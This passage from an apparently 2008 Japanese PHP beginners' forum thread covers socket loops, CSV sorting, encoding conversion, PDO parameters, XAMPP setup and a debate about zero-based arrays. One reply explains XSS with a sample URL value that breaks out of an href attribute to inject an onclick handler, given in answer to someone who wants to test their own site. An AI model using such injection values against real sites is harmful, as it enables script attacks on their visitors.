fwrite($fp, $data);
// 内容の終了を通知
fwrite($fp, "\r\n");
while (!feof($fp) && $he != "\r\n"){
$d= fgets($fp, 512);
}
// ソケットがタイムアウトしたかどうか調べる
$stat = socket_get_status($fp);
if ($stat["timed_out"]) { echo "timeout"; }
// ソケットを閉じる
fclose ($fp);
$i++;
$rand++;
}
}
だいたいはこんな感じで、実際にデータを送信してみました
。
一回目は1で2回目は2......
と、ループの回数だけデータを送信したいのですが、レスポンスには、
555555555
と、5が9回帰ってきます。
これを123456789
とレスポンスがかえってくるようにすすにはどうしたらよいですか?
0401nobodyさん
2008/08/02(土) 19:34:24ID:xYLkDBTE0402nobodyさん
2008/08/02(土) 20:01:05ID:lDM3zReIユーザーフォルダ php だとphpはurlにばっか引っかかってphp関係無いページもヒットするから使えない
0403nobodyさん
2008/08/02(土) 20:02:20ID:???0404nobodyさん
2008/08/02(土) 23:20:28ID:WZrTSOfFよい方法はないでしょうか?
phpの標準関数をみていると、
このような場合、連想配列に入れて返却して、
受け取り側で、連想配列のキーを元にデータを取り出しています。
ただ、これは受け手側がキーの名前が分からないといけないし、
あまりにも無骨過ぎるので、もう少しスマートな方法がないかと思っています。
# そもそもphpの言語仕様としてjavaにあるようなクラスのpublicフィールドがないために、
# このようなことがおこるのだと思いますが、phpにもそれに相当する機構が欲しいですね。
よろしくおねがいします。
0405nobodyさん
2008/08/02(土) 23:21:45ID:???簡単にデータベース作る方法ご存知じゃないですか?
MYSQLとCSVは苦手でして(汗
0407nobodyさん
2008/08/02(土) 23:31:18ID:WZrTSOfFJavaの場合には、その実装クラス(implementクラスでも可)に、
pubicのフィールド(クラスの定義済み定数)を書いて、
受け手側は、必ずそのクラスのpublicのフィールを用いて、
必要な値を取得します。
phpのスレでこういうこというのは何ですが、
public、privateの区別もないですし、このようなフィールを定義する
機構もありません。生のリテラルで書けばいいのでしょうけど、
これだと、関数の実装が変更された場合にエラーが見つけにくくなります。
# Javaであれば、このような場合、コンパイルエラーが発生して実行できません。
phpはjavaにはない便利な関数があって、生産性が良く気軽に使いやすいですが、
コンパイル時にではなく実行時にしかエラーが分かるのがphpのセキュリティーの点からマイナスです。
0408nobodyさん
2008/08/02(土) 23:34:27ID:???あるよ
0409nobodyさん
2008/08/02(土) 23:38:43ID:WZrTSOfFねぇよ。
0410nobodyさん
2008/08/02(土) 23:47:28ID:???0411nobodyさん
2008/08/03(日) 01:56:20ID:???0412nobodyさん
2008/08/03(日) 02:10:26ID:???そいつは紛れも無いばかもんだろ
0413nobodyさん
2008/08/03(日) 12:44:27ID:HcRMDkB6下記のように記録されているbus_data.csvを住所1に含まれている都道府県を検出しながら、
ken_code.csvの都道府県JISコード昇順にソートして同じファイルに書き換えるプログラムを考えてるのですが
ソート処理に悩んでいます。何か良い方法はないでしょうか。
@bus_data.csv
会社名,住所1,住所2,電話番号
会社名,住所1,住所2,電話番号
会社名,住所1,住所2,電話番号
・
・
・
(約1000件)
Aken_code.csv
北海道
青森県
・
・
・
0415nobodyさん
2008/08/03(日) 13:01:09ID:HcRMDkB6MySQLも勉強しようとはおもってますが、
まだPHPも覚えたてで、どうPHPとDBをリンクさせるのかすらわからないので・・・。
0417nobodyさん
2008/08/03(日) 13:06:00ID:???0419nobodyさん
2008/08/03(日) 14:58:32ID:Tg76RJl4function room_member_check(){
if(false == ($memfile = fopen($mem_file, "r"))){
Func_Error("関数_".__LINE__); ←なぜかこの処理に入ってしまう
}
(以下略)
}
----------------------------------
room_member_check(); ←これをコメント化するとプログラムは正常に動く
if(false == ($memfile = fopen($mem_file, "r+"))){
Func_Error("部屋_".__LINE__);
}
$flg = 0;
(以下略)
大体このような感じなのです。
どちらの関数も同じフォルダにあるので、ファイル名の参照エラーは考えられません。
ヒントか何かないでしょうか?
0420nobodyさん
2008/08/03(日) 15:02:40ID:???0422nobodyさん
2008/08/03(日) 17:24:00ID:HcRMDkB6都道府県名ごとで47回ループさせて別の配列に移し替えていくという方法ですか?
考えはわかるんですが、具体的にどうコーディングすればいいのかということと、
PHPはソート関数が充実してるようですが
どれが一番シンプルに処理できる関数なのかというお考えをお聞かせいただけるとありがたいです。
>>417
出来ればcsvの受け取りからソートまでを自動化したいと思ってるので。。。
>>418
usortというのも目に付いたのですが、本件についてはarray_multisortが良いというご回答とお見受けしますが、
具体的にどんなコーディングをすればよいか教えていただけると助かります。
・・・ネットのリファレンスで見たんですが、私の浅い知識ではまだ理解するに至らず・・・せっかくのご回答に申し訳ございません。
0423nobodyさん
2008/08/03(日) 17:54:35ID:???うん、そういうこと。
俺、PHP詳しくないんだ、ごめんw
0425nobodyさん
2008/08/03(日) 18:46:12ID:RMhtfFUN0426nobodyさん
2008/08/03(日) 18:47:13ID:???0427nobodyさん
2008/08/03(日) 18:48:58ID:RMhtfFUN0428nobodyさん
2008/08/03(日) 19:22:24ID:rj+Na7p9文字化けがするので下記のコードにmb_convert_encodingを付け足したいのですが
どのように書いてあげればいいのでしょうか?
アドバイスお願いします。(馬鹿すぎる自分が嫌になる)
<?php
echo file_get_contents('http://●●●');
?>
mb_convert_encoding($str, "UTF-8", "auto");
0429nobodyさん
2008/08/03(日) 19:24:01ID:???0430nobodyさん
2008/08/03(日) 19:30:40ID:???0431nobodyさん
2008/08/03(日) 19:31:07ID:???暇つぶしに作ってみたお
array_multisort()じゃなくてusort()つかったお
<pre>
<?php
// 比較関数
function compare($a, $b) {
global $ken_code;
$address_a = $a[1];
$address_b = $b[1];
$ken_a = get_ken($address_a);
$ken_b = get_ken($address_b);
$order_a = array_search($ken_a, $ken_code);
$order_b = array_search($ken_b, $ken_code);
if ($order_a > $order_b) {
return 1;
} else if ($order_a < $order_b) {
return -1;
} else {
return strcmp($address_a, $address_b);
}
}
// 住所から都道府県名を取り出す
function get_ken($address) {
if (preg_match('/^(.+?(?:都|道|府|県))/', $address, $m)) {
return $m[1];
}
}
0432431
2008/08/03(日) 19:32:00ID:???// bus_data.csv読み込み
$bus_data = array();
if (($f = fopen('bus_data.csv', 'r')) !== false) {
while ($row = fgetcsv($f)) {
$bus_data[] = $row;
}
fclose($f);
}
// print_r($bus_data);
// ken_code.csv読み込み
$ken_code = file('ken_code.csv');
$ken_code = array_map('rtrim', $ken_code);
// print_r($ken_code);
usort($bus_data, 'compare');
print_r($bus_data);
0433431
2008/08/03(日) 19:37:05ID:???コード中の全角スペースは半角スペースに置換してね
0434nobodyさん
2008/08/03(日) 19:51:02ID:???<?php
echo mb_convert_encoding(file_get_contents('http://●●●'), "UTF-8", "auto");
?>
0435nobodyさん
2008/08/03(日) 20:02:41ID:rj+Na7p9神様有難うございます!
助かりました
0436nobodyさん
2008/08/03(日) 20:04:37ID:???0437nobodyさん
2008/08/03(日) 22:39:25ID:???0438nobodyさん
2008/08/04(月) 00:13:33ID:7EUTIW4hマジックメソッドのような働きをしますが、こういったものは他にもあるのでしょうか?
まとまった情報を知っていましたら教えてください。
0439nobodyさん
2008/08/04(月) 00:21:07ID:???0440nobodyさん
2008/08/04(月) 01:49:48ID:ePD1nbCV誰か俺みたいな馬鹿でも分かるように書いてあるサイト知らないですか?
0441nobodyさん
2008/08/04(月) 01:54:22ID:???http://www.php.net/manual/ja/install.php
0442nobodyさん
2008/08/04(月) 02:38:54ID:LmctVFYq0443nobodyさん
2008/08/04(月) 02:40:58ID:LmctVFYqなにがわからないんだい?
そのかわりけつ毛はないものとおもえ
0444440
2008/08/04(月) 02:43:03ID:ePD1nbCVダウンロードしたあとの設定です
httpdをメモ帳で変えるところが多分違うのかと思います
0445nobodyさん
2008/08/04(月) 02:45:51ID:LmctVFYqwindowsか。
ちゃんとphp.iniの設定とかしたのか?
httpdconfの設定は?
なんか情報が少なすぎてわけわからんよ
0446nobodyさん
2008/08/04(月) 02:48:49ID:???:. / _ ___ 、\
/ / i \ \\ :.
:. ,'./ i ヽ:. ヽ:.:.. ヽ.ヽ
,'/ / .ハ ヽ ヽ:.:.:.:. ヽ::.. ヽヽ :.
:. |i .i i .i / ヽ ト 、 \、:.:.:. ',:.',:.:.lヽ}
|i .i l :N_, -弋 \弌弋ナ:}:.:}
:. |i∧ ', :{ ,ィjモト \ イjミトイイV :. な…
.| :メヽ.', `ozZ} izN。ハ::{ なんでですか?
:. | :ヾ_! ゝ "゙゙ ' `゙ ハ.:', :.
| :.:_イ .:.ヽ. (二フ , イ :.:.:!:.ヽ なんでPHPの設定
ができないんですか?
:. / rィイ | :.:.ヽ: >r/`<ノ .:.::.}ヽ、\:.
/ ∧l;l ! :.:.:.://{二 ̄ .} ..:..::リ//ハ.:\
:. / .{. ',ヾ、ヽi .:.:.{ /(^` |.:.:.:.//: : :.}: . ヽ.:.
/ / ) ヽ ヾ、ヽ:.ハ ヤ{ ∧/.-‐'": : |:.:. i ',
./ .,イ .:..} : :\ヾレ'ハ ∧__ノノハヾ、 : : : l:.:.: .ハ ',
{ /| .:.:ハ : : :i Y {ヾ`Yヽニン'ノ}: : } : : : :/:.:.:/ }:.}
V | .:.:/:.:|_,ィ' ̄ ヽ三{ `ー-ノ : イ : : :/:.:i.:{ リ
ヽ:.:{、.:.V : : ヘ : : {: : :/:.::∧|
ヽ! )人 : : :人 : : : / \! :.
" ヽ : : : : :/イ{ :.ノ: : : :.\ :.
:. \__///: :\______/: : : : : : : ヽ
/ //: : :|;|: : : : : : i: : : __: : : : ',
:. / 、 {;{ |;| . : i/. : : : : : :|
0447nobodyさん
2008/08/04(月) 02:51:18ID:ePD1nbCV一応PHP Laboの通りにやりました
PHPは新しいのをダウンロードしました
iniの設定はフォルダを作ったり メモ帳でいじりました
httpdconfはたくさんいじってなにがどうなったのかわからない状況です
0448nobodyさん
2008/08/04(月) 02:56:27ID:???外部にポート開いてなければセキュ的にも問題はない
自分で解決できないようなやつは難しいことをしては駄目だ
0449440
2008/08/04(月) 02:59:04ID:tFXIqt4S昨日XAMPPをやっていたら違うスレで
一個ずつやった方が楽って言われて…
最終的にはPHPを公開したいですが…とりあえず勉強がしたいです
0450nobodyさん
2008/08/04(月) 03:14:05ID:???>一個ずつやった方が楽って言われて…
サーバソフトに熟知してるやつでもどっちが楽かといわれたらXAMPPだ
なぜなら必要なパッケージは一通り入ってるし特別設定しなくてもすぐ使える
サーバ設定など細かなカスタマイズが必要になるのは
サーバを外部に公開したりセキュリティが絡んでくる場合のみ
PHPを開発するだけならXAMPPでいい
>最終的にはPHPを公開したいですが…
作ったスクリプトをレンタルサーバで使ったり公開したいってことでしょ?
上でいってるのは自分のパソコンをサーバとして公開する(自宅サーバ)っていうことだから別の話ね
0451440
2008/08/04(月) 03:17:57ID:tFXIqt4Sみなさん親切にありがとうございました
とりあえずまたXAMPPを入れてみたいと思います
出来なかったらまたここに来ます
ありがとうございました
0452nobodyさん
2008/08/04(月) 03:21:22ID:???XAMPPは諸悪の根源。
0453nobodyさん
2008/08/04(月) 03:23:06ID:???あんま混乱させるなよ
とりあえず勉強がしたいっていうんだからXAMPPでいいじゃないか
よく使ったりする必要なオプションはあらかじめついてるんだし
鯖屋になるわけじゃねえんだから
0454nobodyさん
2008/08/04(月) 03:26:52ID:???0456nobodyさん
2008/08/04(月) 03:28:57ID:???慣れてる人が手早く環境を作るために使うぐらいがいい。
それにXAMPPでうまくいかないというのは逆にノーマルな手法のほうが
向いてる可能性もあるしな。
全体の構成を頭で覚えるか体で覚えるかの違いだ。
0457440
2008/08/04(月) 03:29:17ID:tFXIqt4Sサイトを見てやっているんですが
とりあえず>>450さんの言うように
プログラムを作ってから セキュリティ面をどうするか考えたいと思います
あまり仕組みがわかってないので間違っているかもしれませんが
0458nobodyさん
2008/08/04(月) 03:30:19ID:???0459440
2008/08/04(月) 03:31:34ID:tFXIqt4S正直頭で覚えるよりも体で覚えていくタイプなので
XAMPPは何か後から後悔しそうな気がしそう
うーん もう一度だけPHPの環境設定してみます
0460nobodyさん
2008/08/04(月) 03:39:20ID:???0461450
2008/08/04(月) 03:51:25ID:???俺は業務脳なので業務開発者としての意見をいったまでなので
結局趣味開発なら自分の考えどおりやるのが一番だと思うよ
というわけでぜひ設定頑張ってくれ
0462440
2008/08/04(月) 03:54:32ID:tFXIqt4S0463nobodyさん
2008/08/04(月) 04:32:10ID:???プログラムのセキュリティーとサーバーのセキュリティーを混同してるんだろうな
前者はXSSやSQLインジェクション対策などのプログラムを書くテクニックのようなもので
後者はサーバーを外部に開くときクラッカーからサーバーを守る防衛策のことだな
で、PHPを開発するのにWebサーバーやらメールサーバーやらDBサーバーが必要になるから
それらをインストールするわけだが
それらはローカル上で自分の作ったPHPの動作確認をするためだけに使うのであって
外部に自分のパソコンから情報を発信(サーバーの外部公開を)するわけではないので
サーバーのセキュリティーは一般的にはサーバーが外部接続のために使うポートを閉じるだけで良い
ルーターはさんでるなら最初から全部閉じてるはずなので問題ないと思うが
設定で先すすまなくて挫折じゃ本末転倒なので俺もXAMPPのようなミドルウェア薦めとくよ
毛嫌いしてるのは何でなのか不思議だなw
だって結局中身はApacheやPHPで同じなのに(httpd.confやphp.iniもあるしもちろん設定もできる)
専用コントロールパネルまで入ってて管理もしやすい
そこらへんのサイトのhttpd.confやphp.iniの中身をコピペしてるようじゃどっちみち同じこと
0465nobodyさん
2008/08/04(月) 05:17:57ID:???文法学びたいとかなら、XAMPPで十分事足りる。
0466nobodyさん
2008/08/04(月) 06:50:54ID:???種別はなんでも良いんですが、XOOPSはでかくてしり込みしてます
0467nobodyさん
2008/08/04(月) 06:55:01ID:???ていうかフレームワークを使った開発手法覚えとけ
0468nobodyさん
2008/08/04(月) 08:07:09ID:3goeRlYF0469nobodyさん
2008/08/04(月) 09:01:48ID:???フレームワークといってもいくつか有ると思いますが何が良いと思いますか?
今はCakePHPを使ってるところだから、この辺でも良いんですかね・・
綺麗なコードとか設計とか、良く判らなくて
0470nobodyさん
2008/08/04(月) 09:22:22ID:???クエリーへ名前形式のパラメータを渡したいのですが、
クエリー側でパラメータの適用箇所が複数あると
期待した動作をしないのです。
申し訳ないのですが解決する方法を教えて頂けたら嬉しいです。
例えば以下のように :p1 を複数箇所に書くと
結果は 0 件になってしまいます。
select * from x where x.a = :p1 and x.b = :p1
MySQL のクエリーログでは、
パラメータが疑問符形式 ? になっていたため、
改めて :p1 に加え :p2 を用意し、
select * from x where x.a = :p1 and x.b = :p2
とすると期待通りに動作します。
※予め PHP 側からは同じ値を :p1 と :p2 にバインドします。
名前形式パラメータを複数箇所に適用することはできないのでしょうか?
PHP 側の設定あるいは MySQL 側の設定で対応できるのでしょうか?
0471nobodyさん
2008/08/04(月) 09:24:37ID:???同様の他言語のフレームワークでもある程度応用が利く
他言語の理解がまったくなくてもある程度作れてしまうだろう
設計も勝手にフレームワークがやってくれてる
めんどくさいことを考えるの嫌いで特段こだわりがないなら
フレームワークの勉強をするといい
言語として綺麗なコードを書きたいとかきちんとした設計をしたいというのなら
Webの世界を一旦出て完全なオブジェクト指向言語で勉強をするといい
0472nobodyさん
2008/08/04(月) 09:31:08ID:???ありがとうございます
>言語として綺麗なコードを書きたいとかきちんとした設計をしたい
この辺りが近いです
フレームワークの勉強は続けるつもりなんですが、
アプリやフレームワークを作れるようになりたくて
良いお手本が欲しいと思って質問しました
>>467,468,471
ありがとうございました
0473nobodyさん
2008/08/04(月) 09:32:55ID:???予告inのXSSつかれた不正攻撃ってどうやってやられたんですか?
URLの投稿のところでエスケープミスがあったとのことですが
投稿といったらPOSTだろうし
掲示板とかでGETで不正なパラメータ渡されたURLが貼り付けてあったわけじゃないですよね?
実際に自分のサイトに脆弱性がないか自分で攻撃をして確かめてみたいけど
そんな技量がないので不安です
XSSでどういうコードをどう投稿して実験してみるとか
攻撃確認の手法みたいなことをどなたか説明していただけませんか?
0474nobodyさん
2008/08/04(月) 10:29:59ID:???投稿したURL 「http://www.yahoo.co.jp」
<a href="http://www.yahoo.co.jp">http://www.yahoo.co.jp</a>
・後
投稿したURL 「http://www.yahoo.co.jp\" onclick=\"実行させたいプログラム\"」
<a href="http://www.yahoo.co.jp" onclick="実行させたいプログラム">http://www.yahoo.co.jp\" onclick=\"実行させたいプログラム</a>
基本的にググレカスだけど。
実行させたいプログラムにpostで送信するように書けば良い。
0475nobodyさん
2008/08/04(月) 11:12:21ID:???0476nobodyさん
2008/08/04(月) 11:33:13ID:???0477nobodyさん
2008/08/04(月) 11:39:25ID:???たしかFirefox使ってたと思うが
ブラウザ固定じゃなくてたまにIEでも見てたりするから
そのときどっちのブラウザ使ってたかは覚えてない・・・
犯行予告されてませんように
0478nobodyさん
2008/08/04(月) 11:56:59ID:???ちゃんとぐぐって調べたりしてわからないところを
聞かないと、おれもXAMPPはお勧めしない。
きちんとひとつずつインスコして設定すべしだな。
windowsなら簡単だと思うのだが
0479nobodyさん
2008/08/04(月) 12:34:36ID:???そういう人達はtarballからコンパイルして使ってんだろうか
0480nobodyさん
2008/08/04(月) 12:42:03ID:???0481nobodyさん
2008/08/04(月) 12:45:24ID:???0482nobodyさん
2008/08/04(月) 12:55:08ID:???0483nobodyさん
2008/08/04(月) 13:22:32ID:???そういう問題解決の方法はプログラム書いていく上でも同じだぞ。
0484nobodyさん
2008/08/04(月) 14:27:44ID:???昔もあったけど、xamppをanhttpdとかと勘違いしてるんだろーなw
0485nobodyさん
2008/08/04(月) 14:35:42ID:???0486nobodyさん
2008/08/04(月) 14:55:24ID:???ローカルはxamppで公開鯖は半手動。
0487nobodyさん
2008/08/04(月) 15:09:02ID:???本番環境に合わせられるってのがあるかな
xamppの方がバージョンが新しい場合が多いので、うっかり本番環境の
バージョンで使えないコードを書いたりすることがたまにある
0488nobodyさん
2008/08/04(月) 15:10:42ID:???上のほうでも出てるがお前らは何をやりたいんだ?
プログラムの開発か?それとも鯖屋か?
0490nobodyさん
2008/08/04(月) 15:15:00ID:???0491nobodyさん
2008/08/04(月) 15:15:47ID:???0493nobodyさん
2008/08/04(月) 15:27:47ID:???1からの場合
最低限アパッチ、PHP、MYSQLの3つのサイトのURL探しから
xampp
xamppのURLのみ
頭の良い奴ならこの時点でわかるよな
winならxamppで構築するのが最速
どっちでやっても時間が変わらないというド素人は、どっちの環境も作ったこと無いかリアル池沼
細かい鯖設定を覚えたければ他のスレへw
0494nobodyさん
2008/08/04(月) 15:46:51ID:???0495nobodyさん
2008/08/04(月) 15:47:59ID:???0496nobodyさん
2008/08/04(月) 15:48:27ID:???井の中の蛙ってやつか。
0497nobodyさん
2008/08/04(月) 15:50:15ID:???0499nobodyさん
2008/08/04(月) 16:25:07ID:???0500nobodyさん
2008/08/04(月) 16:27:03ID:???0501nobodyさん
2008/08/04(月) 16:28:51ID:???どれくらい要るんだろうな。
動作させるサーバ環境なんて、
最終的に動かす環境のバージョンとの
互換性を満足できれば
正直なんでもいいしな。
0502nobodyさん
2008/08/04(月) 16:31:11ID:???何か問題にぶつかるたびに無駄に調べまわってなかなか先に進めないタイプ
>>497は無駄なく開発に専念できる賢いやつ
>>499はデバッガつきなら賢い
0503nobodyさん
2008/08/04(月) 16:35:48ID:???PHPだけの開発のためにPC使ってるやつのほうが稀
お前らもMMOとかWindows用のゲームとかを開発してるPCでもやるよな?
0504nobodyさん
2008/08/04(月) 16:41:51ID:???という質問が来るからうんざりしてんだよ。
0507nobodyさん
2008/08/04(月) 16:47:45ID:???0508nobodyさん
2008/08/04(月) 16:48:14ID:???0510nobodyさん
2008/08/04(月) 16:49:48ID:???なんでですか?
0512nobodyさん
2008/08/04(月) 17:08:58ID:???$text = split('<!--メイン-->' ,$text);
$text[0] = 'あいうえお';
$text[1] = 'かきくけこ';
としたいのですが、うまく動作しません。
splitのとこの書き方が悪いと思うのですが、どう書けばよいのでしょうか?
0514nobodyさん
2008/08/04(月) 17:24:10ID:???mb_split はどう?
0517nobodyさん
2008/08/04(月) 18:29:34ID:???$text = split(quotemeta('<!--メイン-->') ,$text);
0518512
2008/08/04(月) 18:50:00ID:???穴があったら入りたいです・・・
$textの中の文字コードとソースの文字コードが違っただけでした><
1度確認したつもりだったのに
お騒がせしました
0519nobodyさん
2008/08/04(月) 19:28:54ID:???0521nobodyさん
2008/08/04(月) 20:53:22ID:???(д`* )
(⊃⌒*⌒⊂)
/__ノωヽ__)
0522nobodyさん
2008/08/04(月) 22:24:24ID:mchfEoZH添え字は、どうして0からスタートしているのでしょうか?
もしかしたら、2進法の流れでしょうか?
10進法でいえば始まりは1が基本ですよね?
配列を処理する場合に、$i + 1としなければいけないなど、
生産性が著しく悪いのですが、配列回りの所作について
定義している箇所はありますか?
0523nobodyさん
2008/08/04(月) 22:34:10ID:???10進数でも2進数でも0からなのは同じだろ。
>配列を処理する場合に、$i + 1としなければいけないなど、
わからん。具体例をあげてくだちい
0525nobodyさん
2008/08/04(月) 22:38:38ID:mchfEoZHご回答ありがとうございます。
いや、現実の世界では0ではなく1から始まりますよね。
# 会員番号、出席番号、駅のホームの番号など0からスタートするなんてまれです。
その事から、業務プログラムを作ると、そのような連番処理をする場合に、
for文の中で$i + 1としてから、連番を振らなければいけないなどの
面倒な処理が出てきます。しかし配列は$array_sample[$i]のように$iです。
このような処理があちらこちらに出現すると、バグの元にもなりますし、
$iを使っているのか$jを使っているのか訳が分からなくなります。
0526nobodyさん
2008/08/04(月) 22:41:40ID:???0527nobodyさん
2008/08/04(月) 22:42:06ID:t2yFOOOp言語によってはデフォでは配列の添え字が1から始まったりする
だからphpでは単にそう決まってるだけだよ
まぁ最初に作った奴は0からのが便利って思ったってだけだろ
0529nobodyさん
2008/08/04(月) 22:49:06ID:3goeRlYF>このような処理があちらこちらに出現すると、バグの元にもなりますし、
変数の使い方をしっかり決めておけばそんな混乱は起こらない。
あと出席番号=添字にするのなら、[0]を使わず[1]から振っていけばいい。
0530nobodyさん
2008/08/04(月) 22:51:19ID:mchfEoZH> まぁ最初に作った奴は0からのが便利って思ったってだけだろ
最終的にはそういうことですね。
1からではなく0から使うことのメリットを逆に知りたいくらいですですが・・・。
現実の世界とかけ離れたivory towerの中で作られたという印象を受けます。
phpの新しいバージョンで1から始まるように、願うしかないのでしょうね。
0531nobodyさん
2008/08/04(月) 22:53:43ID:???0532nobodyさん
2008/08/04(月) 22:56:05ID:???それは自然数だね。
>for文の中で$i + 1としてから
$iがいくつから始まるとか言ってくれないとわからん。
$iを1から初めて$array_sample[$i-1]みたいに使うこともあるだろ。
>$iを使っているのか$jを使っているのか訳が分からなくなります。
それは別のことの気がする。
0535nobodyさん
2008/08/04(月) 23:04:04ID:???0536nobodyさん
2008/08/04(月) 23:13:50ID:???どーぞ
どーぞ
0537nobodyさん
2008/08/04(月) 23:16:12ID:mchfEoZH貴重なご意見を頂きましてありがとうございました。
phpがC言語を影響を受けるのは必然的な流れで、
よく考えずに実装をしてしまったというのが妥当な推測でしょうか。
例えば、配列$company_memberを処理する際に、
for ($i = 0; $i < count($company_member); $i++)
とするのは見慣れてしまっているので、むしろ自然の形かもしれませんが、
これを日本語風に翻訳すれば、「0より大きく最大数未満で処理しろ」ということですが、
for ($i = 1; $i <= count($company_member); $i++)
として、「1番目から最大数になるまで処理しろ」というのが自然のリアルの思考です。
自然の思考に従って、後者の書き方で実装すると良さそうに見えますが、
phpの関数の言語仕様が0で始まっている以上、phpの標準関数を使う際に色々と支障が出てきます。
また、チームでやっているので、0から始まったり1から始まったりでは、
認識のズレが生じて、それも又バグの元です。
これを回避する方法はなく、結局郷に入りては郷に従え、悪法も法なりで
# 結局、0から始まることのメリットを言われる方がいないのもその裏付けだと思いますが
phpの言語思想の中で実装をしなければならないというのが結論と理解しました。
ありがとうございました。
0538nobodyさん
2008/08/04(月) 23:19:41ID:???\/ ● 、_ `ヽ ======
/ \( ● ● |つ
| X_入__ノ ミ そんなエサで俺様がクマ――!!
、 (_/ ノ /⌒l
/\___ノ゙_/ / =====
〈 __ノ ====
\ \_ \
\___) \ ====== (´⌒
\ ___ \__ (´⌒;;(´⌒;;
\___)___)(´;;⌒ (´⌒;; ズザザザ
(´⌒; (´⌒;;;
0539nobodyさん
2008/08/04(月) 23:19:58ID:???0541nobodyさん
2008/08/04(月) 23:23:14ID:???混在しているとややこしいね。
以下のxは配列の先頭とか20とか33とかと仮定する。
xから5番目といったら$array_sample[x+5-1]なんだよな。
これはxと同じ位置のことをxから1番目と数えるからなんだろうな。
つまり1から数えるのはデメリットもあるってこと。
>よく考えずに実装をしてしまったというのが妥当な推測でしょうか。
そうは思わない。
>また、チームでやっているので、0から始まったり1から始まったりでは、
>認識のズレが生じて、それも又バグの元です。
配列に関係なく認識のずれがある時点でダメだろ。
># 結局、0から始まることのメリットを言われる方がいないのもその裏付けだと思いますが
なんだその視野の狭い即決は。
0542nobodyさん
2008/08/04(月) 23:23:59ID:???添え字が0から始まる言語のすべてに当てはまることを
さもphpだけに当てはまるように書いているのには
なかなか興味深いものがあるな
0543nobodyさん
2008/08/04(月) 23:24:38ID:???詳細設計しろ。
添え字が何を意味するのか曖昧なまま開発したらバグって当たり前だ。
0を使いたくなければ使わなきゃいい。
0を使わない方向でチーム内で意思統一すればいい。
0545nobodyさん
2008/08/04(月) 23:27:38ID:???0546nobodyさん
2008/08/04(月) 23:27:41ID:???無知ばかりのメンバ
初心者ばかりのメンバ
暗黙の了解で作業している
失笑されるから質問とかしずらい
そんなチームなのかな。
大変だよな。わかるよ。
0547nobodyさん
2008/08/04(月) 23:28:32ID:???>>526に対する感想は。
なんで添字をそのまま出席番号に使おうとするのか分からん。
俺の中では全く別物。
あと真面目に議論したいなら、その嫌味口調をやめることと、都合の悪いことは無視せずに人の話をちゃんと聞くことかな。
0548nobodyさん
2008/08/04(月) 23:29:41ID:???添え字なんて使わずにポインタ使うにする、とかそういう実装の言語作ればいいじゃない
きっと君の言う自然に合致するはずだ
0549nobodyさん
2008/08/04(月) 23:37:52ID:???Pascalは確か範囲を指定できるんだよな。マイナスとかできたっけ?
移植するとき辛い。実際面倒だからMATLABで実験するの拒否したけど。
混乱するから、全部0から始まる言語だけでいいよ。
0550nobodyさん
2008/08/04(月) 23:40:25ID:???チーム内で0と1が混在してしまうから面倒だってこと?誰かまとめplz
0551nobodyさん
2008/08/04(月) 23:45:20ID:???それでは、まとめます。(日高義男風)
プログラマー思考の0派と、自然思考の1派がいて、
どちらかに統一しようとすると、思想弾圧に繋がって、
チームがギクシャクするから、困っている。
ということ。
0552nobodyさん
2008/08/04(月) 23:49:54ID:???PHP知ってるやつって全員配列の添字は0から始まるってことを知ってるからチームで動いても問題ないのでは?
むしろ知らない奴のほうが珍しいだろw
0553nobodyさん
2008/08/04(月) 23:53:10ID:???コーディングやデバッグしているときは$i=0とか$a[0]を扱うとかに
ついていけない初心者ばかり増員されて苦労してんじゃないの。
気持ちはわかる。プログラムは大変だよね。面倒だよね。
野球には背番号が0番とか00番があるみたいですね。
俺野球に興味無いからよくしらんけど。
プログラマーって大変ですね。
0555nobodyさん
2008/08/04(月) 23:56:36ID:???使う言語に合わせりゃいいだけの話だろ
0556nobodyさん
2008/08/04(月) 23:58:20ID:???if文でi=0とか、
0558nobodyさん
2008/08/05(火) 00:33:54ID:???そんなこと初めて聞いた。
他に事例あるか?
「添字が1から始まるべき」思想を持ってる初心者が大量増員されたんならご愁傷様と言う他無いが。
0559nobodyさん
2008/08/05(火) 00:43:24ID:???(出席番号の場合、[0]を担任教師用に確保するんだよ)
ただ、ナンバーが01から始まり、最後まで連続しているっていうのは、あくまで例外であり、それを基準にするのは間違っている。
0560nobodyさん
2008/08/05(火) 00:46:37ID:???おまえxamppなんか糞開発環境プギャー
オレは時間かかるけど1から開発環境作ってるぜ (キリッ
の奴だろw
0561nobodyさん
2008/08/05(火) 00:51:18ID:???アセンブラ勉強した奴ならわかると思う
0562nobodyさん
2008/08/05(火) 01:03:59ID:???xamppは開発環境ではありません。
あと時間を気にするなんて毎日作り直してんの?
参考までに使った場合と使わない場合にそれぞれかかる時間を教えて。
0563nobodyさん
2008/08/05(火) 01:06:13ID:???0564nobodyさん
2008/08/05(火) 01:11:44ID:???足りない頭で、レス乙。
高級言語の仕様が1から始まるかと0から始まるかということと、
アセンブル・機械語がどうかとは全く別の話だ。
それは高級言語の実装で吸収すればいいだけの話。
0565nobodyさん
2008/08/05(火) 02:54:56ID:???俺その辺詳しくないから聞きたいんだが、
要素数が255とか65535(2進法)
10、100(10進法)
2147483647(32bitでのintとfloatの境界)
の時は[0]スタートの方が有利に思えるんだけどどうなの?
例えば10個目の配列の参照する時
[0]からの場合【[9]】
[1]からの場合【[10]】
と書くよな。
9は1文字、10は2文字
ソースのサイズは若干変化あるよな。
後、intとfloatの型変化の時も影響がデカイ気がする。
こういうレベルの影響はないのか?
0566nobodyさん
2008/08/05(火) 03:12:59ID:???hogearray[16]は、*(hogearray + 16)の構文糖衣。
多次元配列darray[4][4]は*(darray + 4 * x + 4)。 # xはsizeof(darray[0])
もし要素番号が1から始まったら、多次元配列darray[4][4]は*(darray + 3 * x + 3)。
[]で書くと4なのに、ポインタを使うと3になる。こんなややこしい仕様はバグの元。
だから要素番号は0から。
で、PHPは元々Perlので実装され、そのPerlが配列に関してはC言語の構文を真似たから、PHPの要素番号も0からになったと予想。
悪法でも何でもなく、親しめられてきた言語に合わせて、CやPerlなどからPHPに移ってきた人が混乱しないようにしただけ。
>>561
それは比較するときの話なのでは。x86やx64で言えば、0との比較はcmpしなくてもmovでZero Flagフラグが立つかどうかで分かるから。
# Core 2以降はマクロヒュージョンのおかげでcmpしようがしまいが同じだがな。
>>565
ソースが1文字増えたところでロスする時間は1マイクロ秒以下。それを気にするならソースの余計な空白やタブを取っ払う方がいい。
0567nobodyさん
2008/08/05(火) 03:28:28ID:???お前が、相当技術力があるのは認めるが、
なんで、そんな奴がこのレスにいるの?
phpなんて、単価が安い仕事ばっかだろ。
レスで書いているような内容が分かるなら、
